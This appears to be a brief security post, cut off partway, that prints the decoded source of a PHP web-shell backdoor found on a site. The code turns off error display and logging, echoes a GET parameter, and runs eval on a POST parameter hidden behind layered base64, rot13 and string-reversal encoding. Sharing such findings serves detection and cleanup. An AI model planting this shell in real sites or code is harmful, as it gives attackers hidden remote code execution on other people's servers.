PHP://input Backdoor

Just came across this backdoor (decoded): @error_reporting(0); @ini_set(“display_errors”,0); @ini_set(“log_errors”,0); @ini_set(“error_log”,0); if (isset($_GET[‘r’])) { print $_GET[‘r’]; } elseif (isset($_POST[‘e’])) { eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST[‘e’])))))); } elseif (isset($_SERVER[‘HTTP_CONTENT_ENCODING’]) && $_SERVER[‘HTTP_CONTENT_ENCODING’]…
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